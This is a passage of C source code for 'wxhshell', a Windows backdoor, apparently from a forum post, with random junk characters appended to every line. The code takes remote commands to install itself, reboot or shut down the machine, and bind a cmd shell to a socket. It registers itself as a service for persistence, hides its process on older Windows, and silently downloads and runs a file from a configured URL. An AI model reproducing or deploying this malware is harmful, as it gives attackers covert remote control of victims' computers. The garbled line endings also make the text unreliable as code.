  else { <]'1YDA  
u69fYoB'  
    switch(cmd[0]) { Wq"^{  
  ,A;wLI  
  // 帮助 VL8yL`~zc.  
  case '?': { 3) _(t.$D  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @  Br?  
    break; c+.?+g  
  } Dz<vIMLF{  
  // 安装 Q)93 +1]  
  case 'i': { W3]?>sLE*  
    if(Install()) JqP~2,T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U$EQeb  
    else v 0D@`C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f!13Ob<8r  
    break; P*3PDa@  
    } f;]C8/W  
  // 卸载 j)Y68fKK  
  case 'r': { ^wMZG'/  
    if(Uninstall()) x2Dg92  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B; r` 1 G  
    else ?7\$zn)v#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [f#7~  
    break; (x1 #_~  
    } hs?cV)hDS  
  // 显示 wxhshell 所在路径 ITf4PxF  
  case 'p': { %^}|HG*i??  
    char svExeFile[MAX_PATH]; ^-dhz88wV  
    strcpy(svExeFile,"\n\r"); /5j]laYK)  
      strcat(svExeFile,ExeFile); a4x(lx&  
        send(wsh,svExeFile,strlen(svExeFile),0); MBO>.M$B  
    break; xM D]b  
    } >/9on.  
  // 重启 yN9setw*,M  
  case 'b': { a"whg~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); e8VtKVcY  
    if(Boot(REBOOT)) gbjql+Mx+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pXl *`[0X#  
    else { LHHDD\X   
    closesocket(wsh); c-=z<:Kf  
    ExitThread(0); ~zyD=jx P9  
    } V@`A:Nc_>  
    break; Z lR2  
    } CNrK]+>  
  // 关机 C#:L.qK  
  case 'd': { VD+y4t'^  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); z0xw0M+X  
    if(Boot(SHUTDOWN)) C0[ Z>$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +d JLT}I8M  
    else { 6 u}c543  
    closesocket(wsh); _OvIi~KW+  
    ExitThread(0); qTrb)95  
    } 1Gh3o}z  
    break; f/tJ>^N5  
    } J:G~9~V^  
  // 获取shell '-vzQd@y  
  case 's': { <XH,kI(%  
    CmdShell(wsh); u8Oo@xf0Fr  
    closesocket(wsh);  9t_N 9@  
    ExitThread(0); zi= gOm  
    break; ["SD'  
  } 0)E`6s#M  
  // 退出 Y<[jUe`O;  
  case 'x': { |$sMzPCxOk  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &*;E wfgZ  
    CloseIt(wsh); nYts[f9e  
    break; cB|Rj}40v  
    } :WAFBK/x  
  // 离开 O%p+P<J  
  case 'q': {  d>}R3T  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Q}kXxud  
    closesocket(wsh); ;*q  
    WSACleanup(); qN(,8P\90  
    exit(1); ]n^TN r7  
    break; ,Ep41v;T%`  
        } LRKl3"M  
  } CINC1Ll_24  
  } 6/l{e)rX2o  
w6@8cNXK  
  // 提示信息 AlhPT (  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~WX40z  
} 2pV@CT  
  } ^^{7`X u  
* $v`5rP  
  return; CK#SD|~:  
} l t{yo\  
e2vL UlL8  
// shell模块句柄 @V71%D8{  
int CmdShell(SOCKET sock) =`fz#Mfd  
{ Bxs0m]  
STARTUPINFO si; 6}^6+@LG  
ZeroMemory(&si,sizeof(si)); a@niig  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \. _TOE9L  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; OVhtU+r  
PROCESS_INFORMATION ProcessInfo; Olltu"u  
char cmdline[]="cmd"; x5"F`T>Y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); LL7un_EC  
  return 0; -:!FQ'/7E  
} Xi"<'E3_  
#xe-Yw1!  
// 自身启动模式 c^%&-],  
int StartFromService(void) .|x" '3#  
{ O cJ(i#Q~<  
typedef struct oC >l|?h,  
{ pjrzoMF  
  DWORD ExitStatus;  jgd^{!  
  DWORD PebBaseAddress; 2kV{|`1  
  DWORD AffinityMask; bbAJ5EqL  
  DWORD BasePriority; j  hr pS  
  ULONG UniqueProcessId; 0="U'|J_  
  ULONG InheritedFromUniqueProcessId; cH{[\F"Eb  
}   PROCESS_BASIC_INFORMATION; e'L$g-;>4b  
+RN|ZG&  
PROCNTQSIP NtQueryInformationProcess; ddG5g  
VMgO1-F  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3,$G?auW  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 04P!l  
3Q_L6Wj~  
  HANDLE             hProcess; '?j,oRz^T  
  PROCESS_BASIC_INFORMATION pbi; ,G%?}TfC)  
_1U7@v:<@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ebmU~6v k  
  if(NULL == hInst ) return 0; E !}~j  
o%V%@q H  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $ITh)#Nj  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); C|H/x\?zRv  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *7:HO{P>Y  
j/*4Wj[  
  if (!NtQueryInformationProcess) return 0; Q=T/hb  
wTK>U`o  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); { ((|IvP`  
  if(!hProcess) return 0; aFtL_# U  
a?5R ;I B  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }`*DMI;-  
("5Eed  
  CloseHandle(hProcess); z4iZE*ZS  
2j( ]Bt:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'D<84|w:1  
if(hProcess==NULL) return 0; X4dXO5\  
NAt; r  
HMODULE hMod; AW< z7B D  
char procName[255]; /%9CR'%*c  
unsigned long cbNeeded; sV5S>*A[  
`(6g87h  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "Z70 jkW[  
c>pbRUMH  
  CloseHandle(hProcess); W^Z#_{  
@A;Ouu(  
if(strstr(procName,"services")) return 1; // 以服务启动 Bgy?k K2[  
pJ ;4rrSK  
  return 0; // 注册表启动 ?84B0K2N s  
} $TR#-q  
V-.Nc#  
// 主模块 B jsF5~+\  
int StartWxhshell(LPSTR lpCmdLine) jpI=B  
{ wrmbOT  
  SOCKET wsl; $(JB"%S8c  
BOOL val=TRUE; gW(7jFl  
  int port=0; hm+,o_+  
  struct sockaddr_in door; .6xIg+  
6Lhfb\2?  
  if(wscfg.ws_autoins) Install(); cc_v4d{x  
gHe%N? '  
port=atoi(lpCmdLine); QGI_aU  
E,g5[s@  
if(port<=0) port=wscfg.ws_port; r"aJ&~8::W  
 Z?_ t3  
  WSADATA data;  Lkl+f~m  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q]r?s%x  
xY,W[?3CY  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   x;L.j7lzA;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 'hn=X7  
  door.sin_family = AF_INET; @+ee0 CLT  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); NiPa-yRh  
  door.sin_port = htons(port); z=/xv},  
'<eeCe-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ->29Tns  
closesocket(wsl); sn6:\X<[  
return 1; A(dWA e,  
} ~D$?.,=l  
o6LZ05Z-&  
  if(listen(wsl,2) == INVALID_SOCKET) { 8R;A5o,  
closesocket(wsl); Mu?hB{o1  
return 1; Fy'/8Yv#L  
} ?O!'ZZX  
  Wxhshell(wsl); z0Bw+&^]}  
  WSACleanup(); NL76 jF  
5Dv ;-G;  
return 0; h%yw'?s  
T~" T%r  
} d9>k5!  
rs?"pGz;  
// 以NT服务方式启动 @M!Wos Rk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) c 6"hk_  
{ Fs|aH-9\  
DWORD   status = 0; lmjoSINy  
  DWORD   specificError = 0xfffffff; @ 4%a  
3+` <2TP  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "spAYk\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8LZmr|/F*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :6}y gL*i  
  serviceStatus.dwWin32ExitCode     = 0; A tU!8Z  
  serviceStatus.dwServiceSpecificExitCode = 0; L@t}UC  
  serviceStatus.dwCheckPoint       = 0; Y Cbt(nmr  
  serviceStatus.dwWaitHint       = 0; %/r}_V(UN  
(ev(~Wc  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); alB[/.1  
  if (hServiceStatusHandle==0) return; vsU1Lzna6@  
v2tKk^6`(i  
status = GetLastError(); wf[B-2q)  
  if (status!=NO_ERROR) 8H})Dq%d7  
{ sVjM^y24  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (" ,(@nS  
    serviceStatus.dwCheckPoint       = 0; Oi~ ]~+2  
    serviceStatus.dwWaitHint       = 0; @C34^\aH+  
    serviceStatus.dwWin32ExitCode     = status; ^A"TY  
    serviceStatus.dwServiceSpecificExitCode = specificError; ci~pM<+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 00d<V:Aoy  
    return; DL:wiQ  
  } B-`,h pp  
q\fZ Q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Vs0T*4C=n  
  serviceStatus.dwCheckPoint       = 0; 5u=(zg  
  serviceStatus.dwWaitHint       = 0; :UrS@W^B  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); j(*ZPo>oD  
} Gj%cU@2  
2V*<HlqOif  
// 处理NT服务事件,比如:启动、停止 RIDzNdM>U  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }hPFd  
{ $B3<"  
switch(fdwControl) j$TTLFK1  
{ 9]DMHA@  
case SERVICE_CONTROL_STOP: L-}6}5[  
  serviceStatus.dwWin32ExitCode = 0; x\r[Zp|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; TrBBV]4  
  serviceStatus.dwCheckPoint   = 0; $aFCe}3b<  
  serviceStatus.dwWaitHint     = 0; ~)kOO oH  
  { r- :u*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bZB7t`C5  
  } fA k]]PU  
  return; H(~:Ajj+zQ  
case SERVICE_CONTROL_PAUSE: ?^< E#2a  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; c[I4'x  
  break; FYs-vW{  
case SERVICE_CONTROL_CONTINUE: !((J-:=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; rh6gB]X]3:  
  break; #EO@<> I  
case SERVICE_CONTROL_INTERROGATE: A=z+@b6  
  break; Tf bB1  
}; "Y> #=>8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _7#9nJ3|  
} 1JFCYJy  
/2n-q_  
// 标准应用程序主函数 S?M'JoYy  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) C" W,  
{ b,8\i|*!f  
`=zlS"dQ  
// 获取操作系统版本 qkEre  
OsIsNt=GetOsVer(); M!9gOAQP  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \.`;p  
M'n2j  
  // 从命令行安装 122%KS  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8-2e4^ g(  
yyj?hR@rZ  
  // 下载执行文件 41S.&-u  
if(wscfg.ws_downexe) { {7%W /C#A  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) DLWG0$#!  
  WinExec(wscfg.ws_filenam,SW_HIDE); zv^km5by  
} DhVF^=x$  
sr=~U q{g  
if(!OsIsNt) { gNsas:iGM  
// 如果时win9x,隐藏进程并且设置为注册表启动 /mM#nS  
HideProc(); o<Esh;;*nm  
StartWxhshell(lpCmdLine); -Dx_:k|k  
} \x,q(npHi  
else T;f`ND2fY  
  if(StartFromService()) 94>EA/+Ek  
  // 以服务方式启动 i1OF @~?  
  StartServiceCtrlDispatcher(DispatchTable); E=-ed9({:  
else cQ?eL,z  
  // 普通方式启动 tTMYqg zUk  
  StartWxhshell(lpCmdLine); +4N7 _Y  
mip2=7M|C  
return 0; 6dCS Gb  
}
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只看该作者 1 发表于: 2006-10-10
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